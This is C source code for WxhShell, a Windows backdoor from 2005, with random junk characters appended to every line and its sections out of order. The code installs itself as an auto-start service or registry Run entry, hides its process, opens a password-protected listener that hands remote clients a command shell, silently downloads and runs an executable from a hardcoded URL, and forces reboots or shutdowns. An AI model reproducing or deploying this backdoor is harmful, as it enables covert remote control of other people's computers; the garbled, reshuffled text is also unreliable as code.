    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :p)9Heu  
    if(Boot(SHUTDOWN)) Xt*%"7yTp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9,>Y  
    else { J7^T!7V.  
    closesocket(wsh); t\d;}@bl  
    ExitThread(0); ~EkGG .  
    } 6@ ^`-N;  
    break; H>X1(sh#}  
    } rPvX8*) tV  
  // 获取shell L(P:n-^  
  case 's': { }4]x"DfIg  
    CmdShell(wsh); L\CM);y  
    closesocket(wsh); :!15>ML;-  
    ExitThread(0); ?ML<o>OKg  
    break; TFNU+  
  } 8vo7~6yy  
  // 退出 M|=$~@9#X  
  case 'x': { B_jI!i{N%o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vbh#[,lh  
    CloseIt(wsh); Cy'W!qH  
    break; r9*H-V$  
    } EoW zHa  
  // 离开 eG>Fn6G<g  
  case 'q': { 1U9N8{xg9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qh%vh ;|^  
    closesocket(wsh); x+`3G.  
    WSACleanup(); Yx c >+mx  
    exit(1); 8Kkr1}!wd  
    break; 3edK$B51;  
        } 2;r^~:  
  } 6.=1k  
  } B#n}y  
4>`w9   
  // 提示信息 Qnh1s u5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GQxJ (f  
} )PNk O3  
  } iPNs EQ0We  
n:kxG  
  return; -ouL4  
} NH6!|T  
v3#47F)  
// shell模块句柄 B%;+8]  
int CmdShell(SOCKET sock) <WkLwP3^  
{ `P*j~ZLlXN  
STARTUPINFO si; <rxem(PPu  
ZeroMemory(&si,sizeof(si)); s7LX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h0}-1kVT^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m':m`,c!  
PROCESS_INFORMATION ProcessInfo; e{S`iO  
char cmdline[]="cmd"; #R| 4(HlL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &_gmQ;%t:  
  return 0; K*RRbtb  
} ^>uGbhBp  
c~;.m<yrf  
// 自身启动模式 Pfy;/}u^c  
int StartFromService(void) ePdzQsnVe  
{ |9M y>8k(  
typedef struct `r LMMYD=  
{ B)*%d7=x  
  DWORD ExitStatus; UQr+\ u  
  DWORD PebBaseAddress; W0hLh<Go  
  DWORD AffinityMask; ] "_'o~  
  DWORD BasePriority; T3Fh7S /  
  ULONG UniqueProcessId; ]P^ +~  
  ULONG InheritedFromUniqueProcessId; "5bk82."  
}   PROCESS_BASIC_INFORMATION; 9a unv   
H8U*oLlc  
PROCNTQSIP NtQueryInformationProcess; >48Y-w  
' 'N@ <|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d~%Rnic6*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cd#TKmh7re  
G&-h,"yo^  
  HANDLE             hProcess; Atw^C+"vW&  
  PROCESS_BASIC_INFORMATION pbi; iqYc&}k,  
]T`qPIf;yJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *z~Y*Q0  
  if(NULL == hInst ) return 0; :=@[FXD4  
zvWQ&?&o2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2(|V1]6D?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zwS'AN'A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4B]a8  
lQjq6Fl2  
  if (!NtQueryInformationProcess) return 0; z=sqO'~  
usi p>y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e2Dj%=`EU  
  if(!hProcess) return 0; ebchHnOd  
oR }  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wv$=0zF  
{3>^nMv@e  
  CloseHandle(hProcess); AJ /_l;  
t30V_`eQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  %JZIg!  
if(hProcess==NULL) return 0; V !$m{)Y  
.O(UK4Mb  
HMODULE hMod; 1/HZY0em  
char procName[255]; KqQrxi?f-  
unsigned long cbNeeded; CT : ac64  
V SxLBwXf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;L7<mU  
5`J. ic  
  CloseHandle(hProcess);  E=E  
aw`mB,5U  
if(strstr(procName,"services")) return 1; // 以服务启动 =Ev } v  
-T>`PJpJuL  
  return 0; // 注册表启动 @`{UiTN X`  
} Q. >"@c[  
UcZ3v]$I  
// 主模块 uf6{M_jXZ  
int StartWxhshell(LPSTR lpCmdLine) Y9u2:y!LdL  
{ p0/I}n4<5n  
  SOCKET wsl; Vy biuP  
BOOL val=TRUE; l\eq/yg_  
  int port=0; Qk6FK]buV  
  struct sockaddr_in door; $]9d((u4  
0y(d|;':  
  if(wscfg.ws_autoins) Install(); `is6\RH  
B:l(`G  
port=atoi(lpCmdLine); #Jn_"cCRLx  
3k=q>~& @  
if(port<=0) port=wscfg.ws_port; +VJl#sc/;  
NXV%j},>  
  WSADATA data; X,p&S^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "_^FRz#h  
CyE.q^Wm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jN[Z mJz'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :%Bo)0a9  
  door.sin_family = AF_INET; 9QpKB c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u3q!te  
  door.sin_port = htons(port); 0Y\u,\GrxW  
= zsXa=<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Cibc .vt  
closesocket(wsl); >IRo]-,  
return 1; "k+QDQ3=  
} iVFn t!  
2 `#|;x^<  
  if(listen(wsl,2) == INVALID_SOCKET) { Y }0-&  
closesocket(wsl); I%%$O' S  
return 1; fUa`Y ryQ  
} *d@}'De{8  
  Wxhshell(wsl); Dhq7qz  
  WSACleanup(); '0[l'Dt'  
"zr%Q'Ky  
return 0; (A1!)c  
L,R9jMx?_  
} \PL92HV  
;Eck7nRA)  
// 以NT服务方式启动 &We'omq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,Qp58u2V  
{ 'Y[\[]3[8  
DWORD   status = 0; sO6+L #!  
  DWORD   specificError = 0xfffffff; Z";o{@p  
n] &fod  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZV&=B%J bs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~,ac{%8x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '?#e$<uS-  
  serviceStatus.dwWin32ExitCode     = 0; Xc'yz 2B  
  serviceStatus.dwServiceSpecificExitCode = 0; $)kIYM&  
  serviceStatus.dwCheckPoint       = 0; ~fr1O`8  
  serviceStatus.dwWaitHint       = 0; c!s{QWd%  
J`\%'pEn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IUwY/R9Q  
  if (hServiceStatusHandle==0) return; _))_mxV{  
sjztT<{Q^-  
status = GetLastError(); YckexfL  
  if (status!=NO_ERROR) bw+~5pqM  
{ 7kleBDDT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9erTb?@S  
    serviceStatus.dwCheckPoint       = 0; pp/Cn4"w  
    serviceStatus.dwWaitHint       = 0; $vicxE~-E  
    serviceStatus.dwWin32ExitCode     = status; e -x{7  
    serviceStatus.dwServiceSpecificExitCode = specificError; \\BblzGMR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Hzj-u&N/  
    return; AM,@BnEcuT  
  } .{~ygHQ`f  
!k Hpw2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )R,*>-OPJL  
  serviceStatus.dwCheckPoint       = 0; _^Rf*G!  
  serviceStatus.dwWaitHint       = 0; `}s)0 /}6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r*y4Vx7  
} R$wo{{KX  
.DIHd/wA  
// 处理NT服务事件,比如:启动、停止 e>X&[\T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gy,B+~p  
{ ; *r5 d+]  
switch(fdwControl) !c'a<{d@  
{ -&%#R_RV  
case SERVICE_CONTROL_STOP: XP~4jOL]  
  serviceStatus.dwWin32ExitCode = 0; KTd4pW?w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HP"5*C5D  
  serviceStatus.dwCheckPoint   = 0; ]#KZ W)M  
  serviceStatus.dwWaitHint     = 0; 0vf2wBK'T  
  { %E,s*=j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,\xeNUZd  
  } `+{|k)2B  
  return; l '<gkwX  
case SERVICE_CONTROL_PAUSE: cT-XF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =X]$J@j  
  break; Q3'\Vj,S&  
case SERVICE_CONTROL_CONTINUE: QzCu$ [  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !ku5P+y$  
  break; h1q?kA  
case SERVICE_CONTROL_INTERROGATE: L1 O\PEeT  
  break; d>VerZZU  
}; R=_ fk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {?$-p%CF`8  
} uR"(0_  
Yx>=(B  
// 标准应用程序主函数 Ox Zw;yD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2*ZB[5_V  
{ 2 <y!3OeN  
gR )xw)!  
// 获取操作系统版本 049E# [<Q"  
OsIsNt=GetOsVer(); f4@>7K]9TA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]*'V#;s  
KD11<&4_x  
  // 从命令行安装 k}(C.`.  
  if(strpbrk(lpCmdLine,"iI")) Install(); z GhJ  
3){ /u$iH.  
  // 下载执行文件 +vY8HQ|v  
if(wscfg.ws_downexe) { WyF1Fw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TO ^}z  
  WinExec(wscfg.ws_filenam,SW_HIDE); A (S=  
} 0O5(\8jM  
:7 Ro9z8  
if(!OsIsNt) { \#?n'qyj  
// 如果时win9x,隐藏进程并且设置为注册表启动 no~hYy W2  
HideProc(); RP?UKOc  
StartWxhshell(lpCmdLine); {9S=:  
} wi-O}*O   
else |gxT-ZM  
  if(StartFromService()) j-e/nZR@  
  // 以服务方式启动 Oc8]A=M12  
  StartServiceCtrlDispatcher(DispatchTable); WqlX'tA  
else y9kydu#q  
  // 普通方式启动 $k5mI1~  
  StartWxhshell(lpCmdLine); {x$jGiag+8  
!Bcd\]q  
return 0; M@ t,P?  
} "ph&hd}S  
\3a(8Em  
c'ExZ)RJ  
Y??8P  
=========================================== vs]#?3+  
k`[ L  
HIM>%   
X2^`Znq9  
gB BS}HF  
sz4)xJgF (  
" )xwWig.  
~`-z"zM:p  
#include <stdio.h> X-[_g!pV  
#include <string.h> BIyNiol$AJ  
#include <windows.h> l;_zXN   
#include <winsock2.h> 0`y;[qAG[  
#include <winsvc.h> $!F_K  
#include <urlmon.h> doM}vh)6  
N]qX^RSb  
#pragma comment (lib, "Ws2_32.lib") iX ;E"ov]  
#pragma comment (lib, "urlmon.lib") U6SgV 8  
Q(Uj5aX  
#define MAX_USER   100 // 最大客户端连接数 an!ceB  
#define BUF_SOCK   200 // sock buffer ma9VI5w  
#define KEY_BUFF   255 // 输入 buffer U)mg]o-VE  
,jVj9m  
#define REBOOT     0   // 重启 PW a!7n#A  
#define SHUTDOWN   1   // 关机 "7Qc:<ww  
u`GzYG-L  
#define DEF_PORT   5000 // 监听端口 'uAH, .B  
>(>Fx\z}  
#define REG_LEN     16   // 注册表键长度 I[b@U<\  
#define SVC_LEN     80   // NT服务名长度 eLC}h %  
|4RuT .-o  
// 从dll定义API !B 36+W+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'J*)o<%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q 5R7se_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JUBihw4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _ElA\L4g%  
;-Bi~XD  
// wxhshell配置信息 -26GOS_8z  
struct WSCFG { ZT@a2:&  
  int ws_port;         // 监听端口 >C|/%$kk:f  
  char ws_passstr[REG_LEN]; // 口令 C/nzlp~  
  int ws_autoins;       // 安装标记, 1=yes 0=no [Tv!Pc  
  char ws_regname[REG_LEN]; // 注册表键名 'W0?XaEk-  
  char ws_svcname[REG_LEN]; // 服务名 XsE] Z4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6.fahg?E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k:D;C3vJd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \W73W_P&g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K%TlBK V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +bnz%/v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v&CKtk!3{  
[[fhfV+H  
}; Rb_HD  
/mST<{(_G\  
// default Wxhshell configuration 3e)3t`  
struct WSCFG wscfg={DEF_PORT, lH_S*FDa  
    "xuhuanlingzhe", kzs}U'U  
    1, _J}vPm  
    "Wxhshell", ^:0NKq\  
    "Wxhshell", #N-NI+qX  
            "WxhShell Service", )9@I7QG?  
    "Wrsky Windows CmdShell Service", Q!DQ!;Br6  
    "Please Input Your Password: ", maANxSzi  
  1, Jt4T)c9  
  "http://www.wrsky.com/wxhshell.exe", 7S<Z&1(  
  "Wxhshell.exe" ],%}}UN  
    }; [MM11K  
=U3,P%  
// 消息定义模块 )F;[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SZ}t_w `  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hl&]r'bK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 45` Gv  
char *msg_ws_ext="\n\rExit."; '{EBK  
char *msg_ws_end="\n\rQuit."; 7M: 0%n$  
char *msg_ws_boot="\n\rReboot..."; i3 k ',8  
char *msg_ws_poff="\n\rShutdown..."; 8xUmg&  
char *msg_ws_down="\n\rSave to "; Rs;,_  
h+$1+Es  
char *msg_ws_err="\n\rErr!"; O'JH= '  
char *msg_ws_ok="\n\rOK!"; F' ZLN]"{  
uC G^,BQ  
char ExeFile[MAX_PATH]; {m}B=u  
int nUser = 0; d87pQ3e:&  
HANDLE handles[MAX_USER]; {: EQ  
int OsIsNt; AX8;x1t^.  
->vfQwBFd  
SERVICE_STATUS       serviceStatus; z x{\SU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NWB/N*  
/B!"\0G/,  
// 函数声明 lqPRUkin  
int Install(void); C78d29  
int Uninstall(void); o <LA2 q`T  
int DownloadFile(char *sURL, SOCKET wsh); :i*JlKHJ d  
int Boot(int flag); u7`<m.\  
void HideProc(void); dQA J`9B  
int GetOsVer(void); RCNqHYR  
int Wxhshell(SOCKET wsl); B!< {s'  
void TalkWithClient(void *cs); M 0->  
int CmdShell(SOCKET sock); +XWXHt  
int StartFromService(void); )@Xdr0  
int StartWxhshell(LPSTR lpCmdLine); #.}Su+XF  
~C=`yj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )+w0NhJw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &nPv%P,e  
F5L/7j<}  
// 数据结构和表定义 A@'):V8_%C  
SERVICE_TABLE_ENTRY DispatchTable[] = txr!3-Ne'!  
{ L0|Vc9  
{wscfg.ws_svcname, NTServiceMain}, m{Q{ qJ5>  
{NULL, NULL} hU G Iy(  
}; $yaE!.Kc  
UDyvTfh1X  
// 自我安装 @oYq.baHX  
int Install(void) 9 J5Z'd_  
{ 3{CGYd]_u  
  char svExeFile[MAX_PATH]; 1[3"|  
  HKEY key; +}4vdi"  
  strcpy(svExeFile,ExeFile); oF V9t{~j  
KU33P>a"[k  
// 如果是win9x系统,修改注册表设为自启动 94nvh:n  
if(!OsIsNt) { Bb:jy!jq_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !;CY @=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `! m+g0  
  RegCloseKey(key); FG#E?G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W,Dr2$V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (a7IxW  
  RegCloseKey(key); D zDt:.JZ  
  return 0; !c1 E  
    } 7\{<AM?*  
  } nk-6W4  
} %q>gwq A  
else { Vg[U4,  
 |k 4+I  
// 如果是NT以上系统,安装为系统服务 MiOSSl};  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,PN>,hFL  
if (schSCManager!=0) %_tL}m{?  
{ i-E&Y*\^9H  
  SC_HANDLE schService = CreateService , st4K;-  
  ( JI\u -+BE  
  schSCManager, 4\s S  
  wscfg.ws_svcname, fvNGGn!  
  wscfg.ws_svcdisp, |Ca$>]?  
  SERVICE_ALL_ACCESS, )sNtw Sl^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8CEy#%7]}  
  SERVICE_AUTO_START, ;oR-\;]/.  
  SERVICE_ERROR_NORMAL, >!WJ{M0  
  svExeFile, <j,7Z>Rk\x  
  NULL, ?6j@EJ<2q  
  NULL, RNvtgZ}k{X  
  NULL, &]z2=\^e  
  NULL, dwx1 EdJ{  
  NULL Zqam Iq  
  ); .Uih|h  
  if (schService!=0) |y'q`cY  
  { aUA+%  
  CloseServiceHandle(schService); Q_uv.\*z_  
  CloseServiceHandle(schSCManager); r&ToUU 5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D]oS R7h  
  strcat(svExeFile,wscfg.ws_svcname); Lwv9oa|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i1G}m Yz_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J::SFu=  
  RegCloseKey(key); NWNgh/9?  
  return 0; ?=4J  
    } ! B)Em  
  } 3{$c b"5  
  CloseServiceHandle(schSCManager); ied<1[~S  
} .)W8 U [  
} |`O7> (h  
45-pJf8F  
return 1; o} %  
} _wHqfj)  
pCg0xbc`  
// 自我卸载 1^$Io}o:S  
int Uninstall(void)  %gf8'Q  
{ ~KX!i 8+X  
  HKEY key; X$st{@}ZB  
J\ 3~  
if(!OsIsNt) { vO&1F@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w93yhV?  
  RegDeleteValue(key,wscfg.ws_regname); myJsRb5  
  RegCloseKey(key); m Y%PG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f 8uVk|a  
  RegDeleteValue(key,wscfg.ws_regname); (nV/-#*  
  RegCloseKey(key); "+HZ~:~f  
  return 0; Ajq<=y`NzV  
  } lR-4"/1|y  
} ]7br*t^zv  
} i@g6%V=  
else { i-/'F  
8taaBM`:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]*v%(IGK  
if (schSCManager!=0) :z^c<KFX  
{ "2Ye\#BU6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l[h??C`  
  if (schService!=0) 61wGIN2,  
  { 4ci @$nL1  
  if(DeleteService(schService)!=0) { ,D#~%kq~  
  CloseServiceHandle(schService); fM8 :Nt$  
  CloseServiceHandle(schSCManager); rgOB0[  
  return 0; xEZvCwsb  
  } :K W   
  CloseServiceHandle(schService); EW YpYMkm  
  } #&$4tTl  
  CloseServiceHandle(schSCManager); Lo !kv*  
} $)PNf'5Zg  
} s3t{freM  
6rR}qV,+{  
return 1; &}*[-z  
} gI T"nG=a4  
/oh[ Nu1D  
// 从指定url下载文件 K{"+eA>CU  
int DownloadFile(char *sURL, SOCKET wsh) 3ne=7Mj  
{ &:Raf5G-E  
  HRESULT hr; t&-7AjS5  
char seps[]= "/"; WJ/&Ag1  
char *token; ]Wfnpqc^  
char *file; M|e@N  
char myURL[MAX_PATH]; [x9eamJ,H  
char myFILE[MAX_PATH]; Pc1vf]  
C'hZNFsF;  
strcpy(myURL,sURL); q?JP\_o:  
  token=strtok(myURL,seps); 5J1,Usm  
  while(token!=NULL) _W&.{ 7  
  { $,bLb5}Qu  
    file=token;  Q L  
  token=strtok(NULL,seps); 9D-PmSnv  
  } 'Kc;~a  
@_0XK)pW  
GetCurrentDirectory(MAX_PATH,myFILE); ql^n=+U  
strcat(myFILE, "\\"); dTS 7l02  
strcat(myFILE, file); 1[mX_ }K  
  send(wsh,myFILE,strlen(myFILE),0); 'V } -0  
send(wsh,"...",3,0); *<]ulR2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M/>^_zG  
  if(hr==S_OK) U%m,:b6V  
return 0; }zj_Pp  
else E ekX|*  
return 1; X`#vH8  
kwWDGA?zFB  
} }-!0d*I  
r ",..{  
// 系统电源模块 8FU8E2zo  
int Boot(int flag) oyK'h9Wt1  
{ c7,p5[  
  HANDLE hToken; GK~uoz:^O  
  TOKEN_PRIVILEGES tkp; o4\\q66K  
F7x]BeTM  
  if(OsIsNt) { k_/*> lIZY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ? 0p_/mZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;y/&p d+  
    tkp.PrivilegeCount = 1; J>TNyVaoQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O,x[6P54P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C[6} 8J|  
if(flag==REBOOT) { Kejp7 okb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X@RS /  
  return 0; SFv'qDA  
} C6Lc   
else { A+de;&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x+EkL3{  
  return 0; FC@h6 \+a  
} k#liYw I  
  } ^CO{86V  
  else { z{`K_s%5  
if(flag==REBOOT) { 0"}J!c<g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vJ9I z  
  return 0; dhv?36uE  
} ,sI<AFI  
else { Swa0TiT(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :e /*5ix  
  return 0; 0Q?)?8_  
} VK286[[fv  
} & 6'Rc#\P  
l0 =[MXM4  
return 1; UE8j8U'L  
} >m]LV}">O  
4Hy/K^Ci  
// win9x进程隐藏模块 :aQ.:b(n  
void HideProc(void) ~jC+6v  
{ 3{$vN).  
VWq]w5oQO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <aztbq?  
  if ( hKernel != NULL ) 7UIf   
  { V'hb 4}@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &hEn3u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v5>A1\  
    FreeLibrary(hKernel); vj jVZ  
  } zD)/QFILy  
] # VHx  
return; ?4A/?Z]ub  
} cbN;Kv?ak}  
28k=@k^q  
// 获取操作系统版本 #u}%r{T  
int GetOsVer(void) Ve2{;`t  
{ F+"_]  
  OSVERSIONINFO winfo; > vdmN]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G4uG"  
  GetVersionEx(&winfo); {`QA.he.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  0j_kK  
  return 1; `^52I kM)  
  else l+[:Cni  
  return 0; NMe{1RM  
} Fvf |m7  
H4s~=iB  
// 客户端句柄模块 m8ts!6C  
int Wxhshell(SOCKET wsl) MB!9tju  
{ y~fKLIoz"  
  SOCKET wsh; Dn6U8s&  
  struct sockaddr_in client; "$XX4w M  
  DWORD myID; %Yj%0  
f. "\~  
  while(nUser<MAX_USER) .4p3~r?=S  
{ L8 L1_  
  int nSize=sizeof(client); # obRr#8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =}vT>b  
  if(wsh==INVALID_SOCKET) return 1; 4);_f  
<%HRs>4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7~SwNt,  
if(handles[nUser]==0) $P=C7;  
  closesocket(wsh); Pg%9hejf3  
else ikW[lefTq  
  nUser++; p&h?p\IF  
  } DsejZ&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f#= c=e-A  
HwFX,?  
  return 0; BH">#&j[  
} hW~.F  
9@lWI  
// 关闭 socket Nob(D'vSr  
void CloseIt(SOCKET wsh) qOwql(vX  
{ Snx!^4+MF  
closesocket(wsh); G3~`]qf  
nUser--; D5TDg\E  
ExitThread(0); f#\YX tR,k  
} "f,{d}u  
iQ;p59wSzL  
// 客户端请求句柄 "9wD|wsz  
void TalkWithClient(void *cs) ]mTBD<3\  
{ 0f^{Rp6  
V)j[`,M:  
  SOCKET wsh=(SOCKET)cs; QO2cTk m  
  char pwd[SVC_LEN]; +(W1x C0  
  char cmd[KEY_BUFF]; `Mnu<)v  
char chr[1]; 9 r!zYZ`)  
int i,j; uu9M}]mDl  
aQCu3T  
  while (nUser < MAX_USER) { ;2p+i/sVj  
1~5DIU^  
if(wscfg.ws_passstr) { |eqBCZn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vw;Z0_C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'X^auyL  
  //ZeroMemory(pwd,KEY_BUFF); d$zJLgkA  
      i=0; |A8@r&   
  while(i<SVC_LEN) { [nTI\17iA  
K~N$s "Qx  
  // 设置超时 tyu@ a CK  
  fd_set FdRead; L*6'u17y  
  struct timeval TimeOut; M+)a6ge  
  FD_ZERO(&FdRead); KdkA@>L!;  
  FD_SET(wsh,&FdRead); l~c[}wv  
  TimeOut.tv_sec=8; #BC"bY  
  TimeOut.tv_usec=0; mdj%zJ8/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2KlQ[z4Ir  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b 7UJ  
6 ':iW~iI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eS`VI+=@0  
  pwd=chr[0]; =]W i aF  
  if(chr[0]==0xd || chr[0]==0xa) { 0MG>77  
  pwd=0; 1Kg0y71"  
  break; YW7W6mWspS  
  } ;cor\ R  
  i++;  is'V%q  
    } #9vC]Gm  
4&/CES  
  // 如果是非法用户,关闭 socket }qNc `8h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j[>cv;h ;  
} c8l>OS5i3_  
d2rs+-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p"g|]@m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :E:e ^$p  
K\Ea\b[  
while(1) { 'xwCeZcg  
}^ rxsx`  
  ZeroMemory(cmd,KEY_BUFF); y.rN(  
nbi7r cT  
      // 自动支持客户端 telnet标准   /:{%X(8  
  j=0; *ByHTd  
  while(j<KEY_BUFF) { zM'eqo>!c>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HA6tGZP*L  
  cmd[j]=chr[0]; vQAFgG  
  if(chr[0]==0xa || chr[0]==0xd) { Ey6R/M)?:y  
  cmd[j]=0; R.~[$G!  
  break; =2Y;)wrF  
  } Knq 9 "k  
  j++; WK ~H]w  
    } 3EoCEPb#  
%)ho<z:7U  
  // 下载文件 &#r+a'  
  if(strstr(cmd,"http://")) { P3M$&::D-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); baxZ>KNi  
  if(DownloadFile(cmd,wsh)) 8|u4xf<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k+<9 45kC  
  else s#2t\}/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c_lHj#A(l  
  } .sMs_ 5D  
  else { fi+}hGj(r  
4S_ -9&z  
